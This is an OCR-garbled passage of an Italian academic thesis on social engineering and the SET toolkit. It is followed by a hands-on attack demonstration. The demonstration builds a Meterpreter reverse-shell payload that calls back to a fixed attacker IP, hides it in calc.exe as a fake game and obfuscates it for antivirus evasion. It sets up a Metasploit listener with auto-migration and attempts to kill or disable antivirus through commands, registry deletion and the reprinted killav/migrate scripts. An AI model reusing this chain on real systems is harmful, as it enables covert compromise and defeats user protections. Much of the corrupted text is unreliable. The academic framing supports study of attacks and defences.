vista, € nata l'idea di creare programmi informiatiediti alle attivita di ingegneria
sociale. Il dilagare di questa tipologia di prograima con gli anni ha portato alla

creazione di suite dedicate come SET.

SET e l'acronimo di Social-Engineer Toolkitg] ed e stato specificamente
‘0/(/[/&;?(\\‘\
costituito per performance di attacco avanzatowedemé&ﬁﬂ/g;‘ynani. Il programma

o
iniziale € nato grazie a David Kennedy (aka Reggg@zie al supporto di una

-
A

folta comunita di e sviluppato fino ad oggi, incgjﬁtq utti i maggiori programmi

N
del settore. Lo sviluppo del progetto si 9/ tdaspossibilita di fornire a

QS

penetration tester un nuovo strumento s@%ﬁcefﬁcﬁeie per effettuare attacchi

/\\5 ( o/

[ . . \
specifici contro persone o organizz%Z{g\rﬁj La fodtemaggior successo di SET &

rappresentata proprio dalla sua@% d’'utilizggrazie a un menu contestuale
/)T
& . .
-passo nel #ace, spiegando e consigliando

[Fig5.5.1] che segue 'utente pa

ogni step. Per molte funzioni,”SET si basa anchestsumenti del framework
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Nel main menu sono ri orrincipali tipi ditacco che possono essere

effettuati con SET:

- Social-engineer/ilg\\Attacks rappresenta il cuort’applicazione. Qui
sono elen%mprln0|pall attacchi come mail diigghg e fishing,
duplicazi Fa//sm web, infezione di dispositidevice come usb pen,
attac mall mass, attacchi su dispositivi andy sms spoofing,

chi fake AP o QRCODE, creazione payload etist o powershell

- Fast-track penetration testing, contiene una sdriexploit e aspetti
automatici che possono aiutare in una penetrazeuwtematica di un
sistema non aggiornato correttamente in un padreolkservizio come

MSSQL
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- Third party modules, contiene programmi aggiunttii SET come
RETTE, un applicazione che consente di duplicaresun web ed

iniettare un payload java all’accesso di un utente.

Malgrado la sua semplicita, SET si puo rivelare wwtaumento incredibilmente
‘0/(/[/&;?(\\\
potente se adoperato in combinazione con altreidberco@ed)NS Spoofing, man-

o
in-the-middle o altre ancora. Effettivamente il sutd}z/%ingolo e limitato e non
((

consente di ottenere grandi risultati, questo ar&;b%ggiare i cosi detti “lamer”

N
di rete (utenti che usano programmi solo g§ /grsimle e non ne conoscono |l

funzionamento di questi e della rete) ne,v@t\\tt}fzeatrumenti professionali a scopi

[0 )T
= 7/

)

non proprio leciti.
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Capitolo 6

Dimostrazione

Fatto tesoro di tutti gli argomenti finora trattaindremo ad effettuare una prova
D
pratica simulando un attacco di tipo “blind” (ciécsu unqk\p@ nziale vittima. Gli

attacchi di tipo cieco sono i piu comuni in qua;@%puntano una specifica
‘(/

vittima, ma si effettuano su un insieme C&SU&|9@%§X|I targets sperando che un
\\/
numero X di soggetti sia vulnerabile. Nel nos raandremo a sfruttare anche la

variabile umana. Anche se non é moltom%]tcm&ggior parte dei virus online
— \k/

entra in azione a causa dell’ mcom;&at@nza/mgend&ﬁ utente, e invece sono

pochissimi gli attacchi portati aQ/ a un hacHKer questo caso, ci troviamo

<
0 uno specifibbiettivo ai fini di trarne un

sempre di fronte ad attacchi ¢

qualche tipo di profitto. Analizziamo passo per giase € possibile effettuare un
®
attacco valido senza %ﬂente interessato secoerga.

«(: 2
N

6.1 PreQamré I'esca

Nel nostro caso andremo a preparare il codice néeshe vorremo utilizzare per
riuscire ad eludere i sistema di una possibile rimactarget. Visto che l'attacco e
cieco, cercheremo di preparare un payload sia taforme 32 che 64 bit e in

grado di agire in perfetto stile stand-alone sedaee troppo nell’occhio. Vista
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I'esigenza d’avere una collaborazione indirettapdate dell’offeso, inseriremo il
nostro codice all’interno di un fantomatico videogp Y. Nel nostro caso useremo
come esempio la calcolatrice di Windows.

Creiamo il payload codificato e camuffato sotto dalcolatrice, ricordando di

attivare I'opzione di thread separato cosi da Jigmare la calcolatrice all’avvio

dell'applicazione [Fig6.1.1]. \M/‘
Q\

(

O
Msfpayload windows/meterpreter/reverse_tcp L T=90 .147.13.227
LPORT=6666 R | msfencode —e x86/shikata g 3 —t raw |
msfencode —e x86/jmp_call_additive —c 3 —t exe —0 % /Desktop/game.exe
—k —x ./Desktop/calc.exe

%)

eterprete

| additive su

11 additive su e size 433 (iteration=2)

5 (iteration=3)

r MS Windows (GUI) Intel

T
Q/Z@J Figura 6.1-1: creazione payload

Codifichiamo deframmentando ulteriormente il fileragie a PREScambler

[Fig6.1.2].

89



INDOWS\system32\cmd.exe

icrozoft Windows HP [Uerzione 5.1.26H81
(C> Copyright 179852081 Microsoft Corp.

:SsDocuments and SettingssAdministratoricd Desktop

:SsDocuments and SettingssAdministratorsDesktop?PEScrambler.exe —1i game.exe —o G
ME.ERE

PE-Scrambler vB.1 {Alphad

opyright (C) ZBA7-2BH8 MWick Harhour. All Rights Reserved

Loading and Parsing Input File. (donel
Dizsassembling. <(donel

enerating Cross—References. <done)
Remapping CALL Instructions. <done)
Armoring Code. (done?

driting Output File. <(donel

Figura 6.1-2: codifica Pescambler ., -

&

Ora trattiamo il file attraverso un file protectﬁ@%} cosi da evitare la lettura
—

del codice, ed eventualmente disattivare Ia/}é‘c% ‘dianotifica trial ed inserire un

icona appropriata. Quest’ultima procedu@i@mrc‘) aumé grado di rilevabilita del
— \i’

/7
codice. N/

1B
L il = =
Open Save Protect Test |\/

‘ Dstails IScreen F.;ro-tec.t-ian “Dptibns /K-gys i se_-:_
Startup Screen )

7% Show Default Screen

VideoGame

= Mo Splash Screen )

75N 1234
Show 5 plash Seisds Heﬁ#@g}ls Ipay[s] remaining for tnal

This is a fully functional evaluation. You are freé to evaluate thiz demo.

Fleaze send the registration number (below]: to pourt@ernail along with
your full name 2o that an Activation Code can be e-mailed to vou. Ta
avoid erors, Right-Click. the registration number code and choose
“Copy"’, then paste it into your e-mail:

Laad lcon Rezet:Splash Screen

Rebuild Izon Cache

T Fegistration Mumber: e -— i - —
Rebuild cache if Windows icons T[:l'l Elcer i Heg.l.ster
do not update corectly
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Figura 6.1-3: uso file protector

A questo punto non ci resta che caricare in refgeil[Fig6.1.4] ed aspettare che il

pesce abbocchi.

mv ./Desktop/Videogame.exe /var/www

/Desktop/Videogame.e

6.2 Preparare la lenza //i\%’/
o

Per effettuare un buon attacco ed eVIPaTe\ﬁHobI@rmarebbe necessaria I'adozione
\\\\ )

di un server dedicato online COI’]/I facma SSekiaa poter installare al suo

7

iéﬁi}o allo scopmeana qualsiasi distribuzione

interno un sistema operativo
Linux con installato il framework Metasploit. Grazia quest’adozione sara
possibile mantenere %\SSO a cui i nostri pagll faranno riferimento. Per la
nostra simulazione @/rg\ Ci baseremo su un ambidhii#izzo di tipo aziendale
=
come una LAN. A@se in scala, I'effetto ottetgldalla simulazione e lo stesso.
“\}//7/\) I . D <

Nell stra’rete, la nostra macchina di riferitbeavra I'IP 90.147.y.x e
porta 6666. In-un attacco di tipo cieco, non impoche IP abbia I'attaccato, ma
solo quello dell'attaccante in quanto si viene abgire una connessione TCP di

tipo client-server, in cui il client (offeso) conta il server (attaccante) attraverso il

socket (combinazione IP-porta) contenuto al suerim.
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Prepariamo un cosi detto listener (ascoltatore)pnagramma che rimane in
perenne stato di idle fino al ricevimento di untegivo di contatto da parte di un
client. Nel nostro caso andremo ad utilizzare stdner contenuto in Metasploit
attraverso una lista di comandi pre-impostati infie dedicato, che chiameremo

attack.rc, un semplice file con estensione modﬁﬁcéﬁ Ic cosi da renderlo
IN
compatibile con lo standard Metasploit sulle Ildte:oman\dig/yerche Creare queste

liste? //§

A ogni lancio di un listener & necessario mpos@t%%)rta di riferimento, oltre al
\\/
payload che ci dovra contattare ed altri//% gQuest’'operazione € molto

ripetitiva ed € buona norma effettuarem\\ﬁste-mnfezionata di comandi da

o=
avviare nella console cosi che questg gl éuto -clompi

Una volta avvenuto il cont ro il programmdeatima ed aspetta I'input

//

i
iente principdiegli attacchi di tipo blind e il

da parte dell’operatore. L'i CO n
tempo: non e prevedibile quan ;) un utente attiviepayload, ma per la legge dei
grandi numeri cio su C Hérﬁ Quindi € buona nomsarire nella lista nei nostri
comandi anche Iex/postazmnl per effettuare comamthe dopo l'avvenuto
contatto. Nel nqﬁ%céso e indispensabile migilazedice dal programma sorgente
a un prog%abs/econdarlo in modo che se l'utehiedesse il processo di
riferimento, il codice sara ancora libero di esseseguito. Quest’operazione e detta
di “migrate” (migrazione) e nel nostro caso sariidata a uno script scritto in ruby

chiamato “migrate.rb” AppA].

Andiamo a compilare la nostra lista di comandi g=Ry1].
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| | attack.rc ®

|use multi/handler

set payload windows/meterpreter/reverse tcp
set lhost 90.147.13.227

set lport 6666

set AutoRunScript migrate -7

exploit
(@
Figura 6.2-1: lista comandi MsfconsoleQ U
Come si puo notare e stata inserita la rigat“‘au cript migrate —

N/
f”. Questa voce permette l'auto esecuzi@unﬁpsmna volta stabilito un
a

canale di comunicazione con la mac rgetntlie di lanciare i relativi

7
~
parametri—f , parametro per cui si e ua una migrazione iagtiica e causale.
Lanciamo la nostra console M oit e facciansplviere la nostra lista di

comandi [Fig6.2.2].

O
msfconsole

resource ./Desktop/attac}@‘/\
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Figura 6.2-2: esecuzione lista comandi Msfconsole

6.3 Abboccare

Una volta che il possibile target ha scaricato edgeito il codice, si aprira una

connessione con il listener che eseguira in modomm@comando di auto-
)

N\

migrazione [Fig6.3.1]. o

) 1 (90.147.13.22

/:6666 -> 98,1

Figura 6.3<1: auto-migrazione processo
. J < . . ..
Una volta che la mlg@ne e stata effettuataled@mandi automatici non sono
stati impartiti, é}a}@ dell’attaccante.

6.4 Ritirare la lenza

Una volta all'interno del sistema & possibile dffate varie procedure, ma bisogna

comunque stare attanti a un possibile anti-virualierta.
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Esistono alcuni metodi per eliminare antivirusirewall. Queste procedure
sono conosciute e alla portata di qualsiasi utenteun minimo di base teorica sul
funzionamento di un sistema operativo e dei suacessi. Qui di seguito
cercheremo di utilizzare i metodi piu utilizzathéi ad oggi e misurarne ['efficacia.

Avviamo anche una sessione nascosta del promptateandi di Windows

777N\
[Fig6.4.1][Fig6.4.2] cosi da poter interagire c«arrﬂlacchi@%ﬁjj@et da piu interfacce

pero sempre attraverso Msfconsole. 7/§
A
NN
execute —h =

es @ command on the

OPTIONS:

with the proc

x
Figura 6.4-1: execute help

execute —H —f cmd.exe —c
interact 1
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f cmd.exe -C

“ iiﬁ% 2

ELIMINAZIONE DIRECTORY (  antivirus Avast)_

(ORS
. s 2 ()] I
Il nostro payload ci da la pOSSIbI|Ita(Z€iI\MVIQ&H&HI’&VGI‘SO il file system della
PN,
L>\\,”//
macchina target. La tecnica piu - entare e sempd quella di trovare la
g DC/%@\\/ l

irus’e cercareafiminare il maggior numero di

rchiamo di ottenerereiquisiti di amministratore

[Fig6.4.3]. \&/

getsystem )

Figura 6.4-3: escalation dei privilegi XP

erase /F *.*
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Jeskiop\aee

Desktop\i

leskt

esktop\achelp.dll

Jesktop heur.dll

7
Figura 6.4-4: eliminazione Qtja dal prompt comandi

S

La prova effettuata su piu a @a riportatnedesimi risultati. Gli anti-virus

Atvi
\
aggiornati a giugno 2012 né% ettono I'acceskorodificazione dei file nella
propria directory [FigG.4.®nche se si presemntgwofilo amministrato e si cerca
di variare i privilegi d@&ggceso.

N
KILL PRO S@virusmast)
All'interno di terpreter € presente uno scriptndminato “killav.rb” [AppB].
Questo script permette in modo automatico di indligire, se indicati nel proprio
file, e uccidere i processi in esecuzione del airtis.

Per prima cosa analizziamo la lista di procesdiad®lacchina target e cerchiamo di

individuare quali appartengono all’anti-virus [Fig6b].
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| ps (per Meterpreter)tasklist (per prompt dei comand i)

NT AUTHOR

NT AUTHC

Administrs

WINDC

WINDOW

WINDOW

V=N
Figura 6.4-5: lista é{g@ssi Msfconsole

® killav.rb
8 OLTUJJCTT. TAT
/,33359 atupdater.exe
<%“d/ atwatch.exe

J
au.exe
aupdate.exe
auto-protect.nav8eiry.exe
autodown.exe
autotrace.exe
autoupdate.exe
AvastSvc.exe
AvastUI.exe|
avastUI.exe
avconsol.exe
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Figura 6.4-6: modifica codice script

Per concludere, lanciamo lo script [Fig6.4.7] eifigniamone i risultati.

run killav

meterpreter > run killav

Hllljﬂ% off

Come prevedibile, i processi non sono “k|| xorlavwano in modo automatico
una volta chiusi. Anche la seconda tee;n ;elm obsoleta.

\\
DISABLE START (ant|V|rus Avir Desktop)
Una tecnica piu fine, ma c I ssa, risulta la ttisazione dell’auto-avvio dei
servizi deII’anti-virus.%@ iamo la lista deirgressi associati ai servizi. Nel

nostro caso, effettue@n@ una ricerca mirata [Bigd.

\L/

faskiist /SVC [find e

Figura 6.4-8: lista processi per servizi con ricerca
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Ora verifichiamo lo status dei servizi interes$ktg6.4.9].

sc queryex “AntiVirSchedulerService”
sc queryex “AntiVirService”

SHUTDOWN)

TOPPABLE ,NOT PAUSABLE,ACCEPTS SHUTDOWN)

\\@ Figura 6.4-9: status servizi

o
Come visuali Qa@lfe il servizio non pud essere mMess pausa, ma accetta
esclusivamente’ il comando di spegnimento da pagtesidtema. Come intuibili i

processi non possono essere arrestati, sebbensaléivchzione dell’auto-avvio non

sia citata.

sc config “AntiVirService” start= disabled
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sc config “AntiVirSchedulerService” start= disabled

"AntiVirService" start= disabled
' start= disabled
i

Figura 6.4-10: modifica @
N

Anche in questo caso il sistema non p@(te I'secealla modifica dello status

7
~
del servizio [Fig6.4.10] anche se i io statasprevede e si posseggono il
massimo dei privilegi d’accesso. @
AN

ELIMINAZIONE REGIST};&{\ antivirus Avira Antivir Desktop)

L'ultima tecnica attu?.g'rk@/la modifica o la call@eione dei registri di sistema
associati ai servizi.\@

Visto che di d@ﬂ i‘ registri di sistema di unogramma occupano directory
prestabilite,-analizziamo dalla nostra macchinbbtazione dei registri di sistema e
memorizziamone i cammini. Ora creiamo un file .H&ig6.4.11] cioé auto

eseguibile su linea di comando, con i comandi dicedazione o modifica dei

registri scelti. Carichiamo sulla macchina target una cartella non visibile

all’utente il nostro file [Fig6.4.12][Fig6.4.13] avviamolo [Fig6.4.14] Una volta
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che i registri sono stati corrotti, non ci resta ¢hserire una backdoor e riavviare il
sistema. Al riavvio, lo start-up dell’anti-virus réacorrotto grazie all'impossibilita

di reperire i registri di sistema.

| | registri avira.bat & | ~
?HEU_HUU_HEET:LUCHL]HHEHINETETETENEEUTTEHEEUHIT@ﬁ%%E}ﬁETUlEEE““
‘avgntflt /v DisplayMame /d "ciao" /T

REG ADD HKEY LOCAL MACHINEANSYSTEMACurrentC <§EESEHSENHES
\avgntflt /v Group /d "ciao" /f

REG ADD HKEY_LGCAL_HACHINERSYSTEHRCUﬂ§§§§§;atrnlSEtRSErvices
‘vavgntflt /v ImagePath /d "cian" /f

REG ADD HKEY_LDCAL_MACHINEEEYSTEH4!§§;;E1C0ntrulSEt\SerUices
‘avgntflt /v Start /d "ciao" /T ‘@

REG ADD HKEY LOCAL MACHINE\SY gg;@urrentCuntrulSet\Seruices

\ssmdrv /v Description /d " /T
' 05

REG DELETE HKEY LOCAL \SOFTWARE\Microsoft\Windows
wVCurrentVersionhRun fv FE i

REG DELETE HKEY LOC CHINENSYSTEMACurrentControlsSet\Services
\VAntiVirService ayName /f

\Antivirservice ImagePath /f

_FLE@_DE@@LQC_&L_r-'lﬂi:ﬂI_N_E}LE_[S_IEH\Currentc_untrnlSEtheruices

REG DELETE Hi;iiiy L MACHINEMNSYSTEM\CurrentControlSet\Services

Figura 6.4-11: creazione file.bat

upload ./Desktop/registri.bat C:\

Figura 6.4-12: upload file.bat
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| dir

Directory

! -EI‘."I:_!_.‘—It Pl

Operazione termin

\>REG DELETE HKEY LOCAL MACHIN
/v DisplayName /T

LOCAL MACHIN urrentContri

negato.

HKEY LOCAL MACHIN

Figura 6.4-14: risultato esecuzione file.bat
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In questo caso il sistema si comporta in modo dieerma potenzialmente
allarmante per l'utente target. Il sistema di pradee in tempo reale notifica
allutente I'esecuzione di una modifica sui registi sistema e ne blocca la
modifica. Se l'utente ignora il messaggio, il tanta di eliminare I'anti-virus

riesce, altrimenti no. Anche in questo caso, tudb basa sul grado di
”/‘///Zi(\\\
consapevolezza dell’'utente. Altro dato da notare mo@o eliminazione di

alcuni registri di sistema non essenziali aII'esB;)& ell’anti-virus, ma che
\\//

possano provocare malfunzionamenti in esso.//m\i%easo, I'antivirus presenta
( )

N
una notifica del malfunzionamento di alc%r?%exvim un secondo riavvio del

sistema, il rilancio del nostro .bat ha com { meskeriormente il servizio anti-

.
(U
. o . =\ - .
virus. Al terzo riavvio abbiamo ottegt“\/toj/hna compissione totale del servizio.

Questi dati pero vanno presi con/z%la, vistoamp@ anti-virus pud assumere un
Y ) . N
del suo grado ditoraggio. Classifichiamo

comportamento diverso a secc

questo metodo come potenzialmente efficace sotiriénate condizioni.

O
\O\Jy

A

104



Capitolo 7

Considerazioni Q)

&

Con il passare degli anni, il grado d’affidabil&ésigﬁig a dei sistemi informatici,
in particolar modo di tipo desktop, e incremé%@bﬁb molto significativo.
N\

\/\
Partiamo dal punto di vista dell’utili %e. lt&nte rimane sempre uno dei
/W

maggiori punti deboli della catena dI/SIC zza dum maggior mancanza e data

PN
dal grado di competenza. Opera i%}%all’apparerlmcue € mancanze possono

1//\/

\Fértunatamentecnascente automazione dei

compromettere il proprio sta
sistemi di protezione, aggio:\:::\ ento e mantenimehtain terminale colmano,
almeno in parte, ques@o@\(&@]t.

Anche i sistemi antmﬁj;% hanno avuto un’evoluaomolto positiva dal punto di

s

vista dellaffldabllﬁgthowamo 'adozione di nue soluzioni come sandbox o
tecniche eufis cl{e;* Anche dal punto di vista @eltb-conservazione sono stati fatti
passi da gigante introducendo nuove tecniche pdéarevio stop di servizi e

processi. | software, anche dallo stesso utilizagtosono difficilmente

compromettibili e possono basare il loro grado dinioraggio su valori pre-

impostati modificabili da quest’ultimo, che possorariare in modo significativo il

grado generazione di sicurezza. In alcuni ambiti dacisione finale spetta
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obbligatoriamente all’'utente per motivi d’utilizzivatico. Da qui, ci riallacciamo al
concetto di utente come anello debole.

Gli attaccanti non hanno piu la “vita facile” di auwvolta. Statistiche e metodologie
utilizzate fino a un anno fa risultano completaneeobsolete e per molti versi

inapplicabili. Nelle nostre dimostrazioni abbiamdlinzato sistemi operativi da
[ [

considerarsi gia obsoleti, visto I'avvento di nu@vben @ﬁﬁiciente sotto il lato

della sicurezza. Sulla base di queste costatazienyniche vie disponibili per

((
attaccare una macchina in modo automatico, oyv%\@asl’interazione dell’'utente,
|

N
rimangono due: attaccare macchine prive//g‘%gj@rrm(b obsolete o disporre di

A

mezzi non conosciuti, ma accessibili a mcbrmﬁa vuole per gli hacker che
( /’// \"rf
(L

(- N . . . .
il primo caso sia molto diffuso, in pg@c@ar modo alcuni settori business dove
( —

non e presente un apposito (:omp'ér]})g7 .
/)T
&

Gli studi compiuti ancora alcune fallelaeune del sistema,

accessibili soprattutto a un utente con una buarescenza delle meccaniche di

(C)
rete e del funzionam %iél sistemi operativienédro varie parti. D’adozione di

«@i\\ -
\delogie d’ingegneria socr#éealta la minaccia di maggiore

queste, insieme a r%

rilievo. Grazie %%é codici maligni o altro, pmso entrare ed essere eseguiti
“\5/6 )
J)

R . . - .
e target per via preferenziale senaa necessita di dover

nella ma
obbligatoriamente utilizzare un bug. A tal punte, uniche restrizioni rimanenti
sono date dai privilegi utente, che per molti vgressono essere anche raggirati, e

dall’anti-virus in stato di protezione reale. Ancimequesto caso, I'utilizzo di alcune

tecniche piu raffinate permettere di mettere fugroco l'ultima protezione,
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fortunatamente per l'utente sotto determinate coodi, come I'abbassamento del
grado d’intervento dell’anti-virus.

Per quanto riguarda le metodologie di camuffameatgmoi adottate, i dati
raccolti da precedenti studi non coincidono conostn. In particolare, riguardo
'uso di algoritmi di encoding. Da un ambiente i gli a /tlj irus risultavano per

,/ N
molti versi “spiazzati” dinanzi a queste tecniclse,e pg%@y a metodi non piu

A \

efficaci e per alcuni versi controproducenti se m@b@@tl L'utilizzo di sistemi
professionali per la protezione del codice e pri dedicati pud essere una
\\/”
buona tecnica per camuffare il codice a sis/g@mﬁ non garantisce il successo
dell'attacco. Per concludere, I'utilizzo d)ﬁ}\\g\voshu contesto risulta una tecnica
((
— \k/

efficace se pur di piu difficile %p@@azmne miedendo un alto grado di

competenze ed un ambiente favo/ﬁ%%

Nel 2012, I'utente desktop non i puo ancora carsice al sicuro, ma a un livello

leggermente superior&@@ﬁo al passato.
P
\/

O

N

Q @
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Appendice A

# $1d$

#

# Simple example script that migrates to a specific
# This is meant as an illustration.

#

spawn = false
target = nil

opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"f* => [ false, "Launch a process and migr
)
opts.parse(args) { |opt, idx, val|
case opt
when "-f"
spawn = true
when "-h"
print_line(")
print_line("USAGE: run migrate [p
print_line("EXAMPLE: run migrate ex
print_line(opts.usage)
raise Rex::Script::Completed
else
target = val
end

if client.platform =~ /win32|win64/
server = client.sys.process.open

— )
8 " . \\
print_status("Current server process: #{

target_pid = nil

if | spawn

O
# Get the target process na
target ||= "Isass.exe" /}

o

print_status("Migrati

target_pid = client: ocessltar
if not tar fé@
p r("Could not acce

pri atus("Spawning a no
note =¢lignt.sys.process.e
=>true })
target_pid = note.pid
end
else

target ||= "notepad.exe"
print_status("Spawning a #{target}
newproc = client.sys.process.execut
target_pid = newproc.pid
if not target_pid
print_error("Could not crea
raise Rex::Script::Complete
end

process by name.

v

&

ver.name} (#{server.pid})")

3"

get]

ss the target process")
tepad.exe host process...")
xecute('notepad.exe’, nil, {Hidden’

host process...")
e(target, nil, {'Hidden' => true })

te a process around #{target}")
d
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end

# Do the migration

print_status("Migrating into process ID #{t arget_pid}")
client.core.migrate(target_pid)

server = client.sys.process.open

print_status("New server process: #{server. name} (#{server.pid})")

else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed

end
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Appendice B

# $1d$

#

# Meterpreter script that kills all
Antivirus processes

# Provided by: Jerome Athias
<jerome.athias [at] free.fr>

#

@@exec_opts =
Rex::Parser::Arguments.new(

"-h" => [ false, "Help menu." ]
)

def usage

print_line("Usage:" +
@ @exec_opts.usage)

raise Rex::Script::Completed
end

@ @exec_opts.parse(args) { |opt, idx,

val|
case opt
when "-h"
usage
end
}

print_status("Killing Antivirus services
on the target...")

avs = %W({
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe

alertsvc.exe \

; J)
alevir.exe X/
alogserv.exe @
amon9x.exe \j
anti-trojan.

antivirus.exe

ants.exe

apimonitor.exe

aplica32.exe

apvxdwin.exe

arr.exe

atcon.exe

atguard.exe

atro55en.exe

atupdater.exe

atwatch.exe

au.exe

aupdate.exe

4

&

O

auto-protect.nav80try.exe

—

r"’//?
0 \—

@gvﬁif.-:::

autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe

avgrsx.exe | }
avgserv.exe \M/
avgserv9,exe

avguard.e

vpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.exe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
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ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
cdp.exe

cfd.exe

cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe

cmd.exe
cmd32.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonitor.exe
cpd.exe
cpfIx206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181l.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dlicache.exe
dilreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantivirus-cnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe

\f//
Ny

‘o

4

&

O

—

r"’//?
0 \—

©

-

e

\ g%xe
ard.exe

f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe

fsav32.exe m
fsav5305tbyb.@;

fsav530wtbyb.
fsav95.exe
fsgk32.exe

fsm32.e ;}\
fsma3 ‘{&
fsmpt}32»i

gat
e

%’% e
s.exe

uarddog.exe
acktracersetup.exe

—" hbinst.exe

hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iexplorer.exe
iface.exe
ifw2000.exe
inetinfo.exe
infus.exe
infwin.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
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kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-en-win.exe
kerio-wrl-421-en-win.exe
kerio-wrp-421-en-win.exe
kernel32.exe
killprocesssetup161.exe
launcher.exe
Idnetmon.exe

Idpro.exe
ldpromenu.exe
Idscan.exe

Inetinfo.exe

loader.exe

localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe

lordpe.exe

Isetup.exe

luall.exe

luau.exe
lucomserver.exe
luinit.exe

luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdir.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe

md.exe

mfin32.exe

mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe

N
o

4

&

\
CA

=)

mpftray.exe Q/Z@J

mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexecl6.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe

—

r"’//?
0 \—

mssys.exe
msvxd.exe
mu031lad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.exe
navapsvc.exe
navapw32.exe
navdx.exe
naviu32.exe
navnt.exe
navstub.exe
navw32.exe

)
navwnt.exe fm

nc2000.exe |

ncinst4.exe M/}

ndd32.exe
neomonitor%
neowatc}?%
netarmaor.exe
netd

ne

%tutils.exe
7 isserv.exe
O nisum.exe
N nmain.exe

nod32.exe
normist.exe
norton_internet_secu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarchl16.exe
nvco5.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
ostronet.exe
otfix.exe
outpost.exe
outpostinstall.exe
outpostproinstall.exe
padmin.exe
panixk.exe
patch.exe
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pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcipl0117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.exe
procexplorerv1.0.exe
programauditor.exe
proport.exe
protectx.exe
pspf.exe
purge.exe
gconsole.exe
gserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.ex
rrguard.ex
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
safeweb.exe
sahagent.exe
save.exe
savenow.exe
sbserv.exe
sc.exe

R

g.exe

scam32.exe

scan32.exe

scan95.exe

scanpm.exe

scrscan.exe

serv9s.exe
setup_flowprotector_us.exe
setupvameeval.exe
sfc.exe

sgssfw32.exe

sh.exe
shellspyinstall.exe
shn.exe
showbehind.ex
smc.exe (m
sms.exe S\
smss32.exe u
soap.exel>

sofi.exe \

S
s3edit.exe
Sssg_4104.exe
ssgrate.exe
st2.exe
start.exe
stcloader.exe
supftrl.exe
support.exe
supporter5.exe
svc.exe
svchostc.exe
svchosts.exe
svshost.exe
sweep95.exe

sweepnet.sweepsrv.sys.swnetsup.exe

SYymproxysvc.exe
symtray.exe
sysedit.exe
system.exe
system32.exe
sysupd.exe
taskmg.exe
taskmgr.exe
taskmo.exe
taskmon.exe
